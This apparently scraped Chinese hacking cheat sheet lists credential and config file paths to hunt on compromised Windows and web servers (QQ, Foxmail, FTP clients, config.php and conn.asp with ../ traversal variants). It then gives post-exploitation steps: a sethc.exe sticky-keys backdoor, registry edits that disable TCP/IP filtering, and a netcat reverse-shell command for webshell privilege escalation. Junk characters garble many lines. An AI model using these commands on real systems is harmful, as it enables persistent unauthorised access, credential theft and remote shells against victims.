c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
$ |" r5 B  u: R. B+ ?c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
: w5 T8 A% y- x1 J: Zc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
1 V1 g! L) D. Q% T/ u, p/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
$ s( y; ^) C, I7 w/ K. N# ?c:\Program Files\Tencent\qq\bin\qq.exe
, x& V; D; m' L7 Y% o2 Wc:\Program Files\Tencent\qq2009\qq.exe
8 @- E7 {3 w' N: c5 q7 rc:\Program Files\Tencent\qq2008\qq.exe
% O& K: f# ?' E5 w% tc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
/ a- O# ~: P8 u# c9 xc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
* ?& Y1 ~! V! |2 Wc:\Program Files\Tencent\RTXServer\AppConfig.xml
2 |. K/ T# Z, I1 t7 c5 {4 c+ h/ BC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
6 E3 U6 O# p5 i; hc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
. J& m- Q. m5 `C:\Program Files\FlashFXP\FlashFXP.ini
" i% o! H$ }* p/ a0 u5 Y' BC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
. ^7 S' r/ D0 H/ y9 E4 i- N' \" Lc:\Program Files\tencent\QQGAME\readme.txt
- @0 e- b6 }6 ~; S% [C:\Program Files\StormII\Storm.exe

3.网站相对路径:
) G) `; W: U, q  M! y
! w" W5 V1 I4 w. ~' S& K! S: t/config.php
5 C/ B8 @& N( f. Y3 G) q% K7 _../../config.php
../config.php
../../../config.php
3 }. i6 @3 ]+ ^' `4 s7 V6 @& ^/config.inc.php
./config.inc.php
* D; N- ]  J( F( z3 B& M  L../../config.inc.php
../config.inc.php
; a2 z) q1 ?; A' [2 c1 q/ [../../../config.inc.php
/conn.php
9 [+ k' h3 _* z./conn.php
; ~1 K7 A* l, m3 M' p! H../../conn.php
2 w) D' F( _7 \0 O5 ?0 E../conn.php
3 x0 _0 z6 {8 ]../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
3 a' N7 m" a& c6 h8 I$ Y( b5 d../conn.asp
7 m$ ~! _( A, n- A../../../conn.asp
/config.inc.php
3 X: z) t' K. G8 S. \: _" G./config.inc.php
../../config.inc.php
../config.inc.php
0 [$ T( z! F+ J../../../config.inc.php
/config/config.php
+ C4 ^/ ]+ W& _, R7 _6 c../../config/config.php
. o) V2 M  p* ?1 R! c# w4 ^4 b8 g( T- _../config/config.php
; O5 U4 m# w% _../../../config/config.php
/config/config.inc.php
7 N: I) F- i1 s! |./config/config.inc.php
../../config/config.inc.php
# B& r" k& u$ p; w7 r+ L../config/config.inc.php
: w. V2 E) I9 O- Y2 M5 n; z$ w% s, _../../../config/config.inc.php
* B$ P! V: B* x  K3 N: ^3 g/config/conn.php
7 m( h) n+ \6 Q- v./config/conn.php
( Q8 j) C3 f* ]4 g. T7 R) C" K../../config/conn.php
../config/conn.php
../../../config/conn.php
# y; o, p: F/ Y9 ]- x- z4 g/config/conn.asp
./config/conn.asp
  L  L, F. \! L8 O+ V: k1 `! b../../config/conn.asp
$ U! W  w2 a, E, y$ B../config/conn.asp
7 }; n5 Y8 O$ M../../../config/conn.asp
7 _1 @7 H0 D8 y7 n! k4 T1 n7 O/config/config.inc.php
' W& b5 P7 M" I( C# @* ^' \: m./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/data/config.php
../../data/config.php
7 v5 L; D5 X; O. ~+ c../data/config.php
../../../data/config.php
1 _6 v5 m! K, |+ c  J: n' M+ @. `/data/config.inc.php
./data/config.inc.php
* `* O+ u, S/ \../../data/config.inc.php
$ r/ f/ x. {' G% y4 Y0 s../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
# J9 L( }/ ^. n+ q2 m) O/ l+ z./data/conn.php
../../data/conn.php
7 H9 @! V! C& X% m/ ]../data/conn.php
  Z5 N! K" F) Y2 ~8 h5 ]8 ]../../../data/conn.php
/data/conn.asp
+ R7 j+ Y" @. {./data/conn.asp
8 i8 g0 Y: R( [8 H- [% @7 b& e9 s../../data/conn.asp
../data/conn.asp
- }, f. |- x* n. s) {5 D../../../data/conn.asp
/data/config.inc.php
  r; U& Q+ \+ B' g" v; f./data/config.inc.php
& d5 m  F3 x+ U5 C../../data/config.inc.php
../data/config.inc.php
  ~  Z( k, L& ]6 g- Y8 P+ w../../../data/config.inc.php
/include/config.php
../../include/config.php
../include/config.php
1 s2 b: N& [( }; w../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
. I1 Y; f" D" K( E../../../include/config.inc.php
& C0 J3 Y% T7 Q! `# M/include/conn.php
./include/conn.php
../../include/conn.php
../include/conn.php
../../../include/conn.php
& c0 O6 k" o' d& h0 p/include/conn.asp
8 w6 U9 E5 b" |6 H* q' J/ Y./include/conn.asp
7 H4 \" m( k0 r$ ^: H' B7 ?../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
( `5 ^$ o( H/ x/ j& C./include/config.inc.php
7 k. j% z% C, v) `' k% l6 S  E../../include/config.inc.php
, d7 S" X, p$ }../include/config.inc.php
0 z* S$ W2 [# F../../../include/config.inc.php
6 d$ ]2 E1 Z, N3 h2 h+ t9 i/inc/config.php
../../inc/config.php
../inc/config.php
../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
) J) D. `0 E: u: f9 `, z, G  T! |../../inc/config.inc.php
" W5 y" [3 w3 p2 p1 D../inc/config.inc.php
! a/ J( i6 }  c( o4 \. U4 t( p% L../../../inc/config.inc.php
: C9 c% K8 h) ^# b4 F( {/inc/conn.php
" I0 X6 J, k; Y+ `1 A./inc/conn.php
../../inc/conn.php
5 ?) y( m% S. o9 w7 {! N1 u" \../inc/conn.php
5 ^7 A( i5 n: G! k../../../inc/conn.php
2 {7 a9 e- {' C/ [/inc/conn.asp
./inc/conn.asp
8 N" \# Z# G7 a7 {6 d../../inc/conn.asp
../inc/conn.asp
0 w4 K' b" Z- E7 C2 w$ @  ]% n../../../inc/conn.asp
/inc/config.inc.php
  w' H+ G" }* G1 A3 H6 Z5 E./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
9 h( Q+ Q$ ^! |# ]+ D9 Q! T../../../inc/config.inc.php
+ X* h& \, C, L5 t+ g/index.php
./index.php
1 [) I; x- Y  w6 F2 G../../index.php
../index.php
7 l! G. b: m$ f0 [4 l& P* s8 T" q../../../index.php
/index.asp
7 f' {' w. y' S1 x; M+ l) b2 q+ x./index.asp
- `2 t* p' P8 G9 S& G7 E../../index.asp
../index.asp
../../../index.asp
  P4 T- @2 g  E5 C3 `' g替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
6 S/ n: A0 F* ?# R
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
; {# b4 W( o1 l. S3 k  R
　　del c:\windows\system32\sethc.exe
. x) Q4 R3 }2 J. f, g
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

7 X! ]' i3 z( Z; v' h# b　　attrib c:\windows\system32\sethc.exe +h +r +s

$ l3 x* D6 r' l; a　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
' s! j- k+ ^) q0 kHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
* Y( L7 N0 r' t5 }( Q' ]7 m* |HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
; R( t' z  y8 v2 l
0 x3 u. p5 m8 n. N分别用
9 u3 x; L  i. Q: r  ~regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
0 H, j7 ]; J8 Y: g6 A( _regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
5 ^. O; \. F5 {! F/ L- `regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
& Z: @1 s4 k' y0 `* E命令来导出注册表项
4 y4 S) _5 _' T$ }# K
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
5 o1 m9 O/ ]) g5 G' w
: }+ [# J0 H& J7 U) f( y再将以上三个文件分别用
( ]# {  x1 J7 q4 q" u% `; }& pregedit -s D:\a.reg
4 z% ]  F4 S( a8 D) i; C* E' T0 mregedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可

% l) x9 P' E: pwebshell提权小技巧
3 I( K' F- L6 d, L' lcmd路径:
+ e0 w4 {. w) `& x. |& N0 M- Tc:\windows\temp\cmd.exe
' p8 M" B; }$ s2 Z3 onc也在同目录下
. [) ]1 ~, K5 {! a例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
, l8 N- i. t6 m6 r: \9 S通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
/ r0 e2 r7 B  [+ P命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
: @4 ?9 O, \- l% {. `. `我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功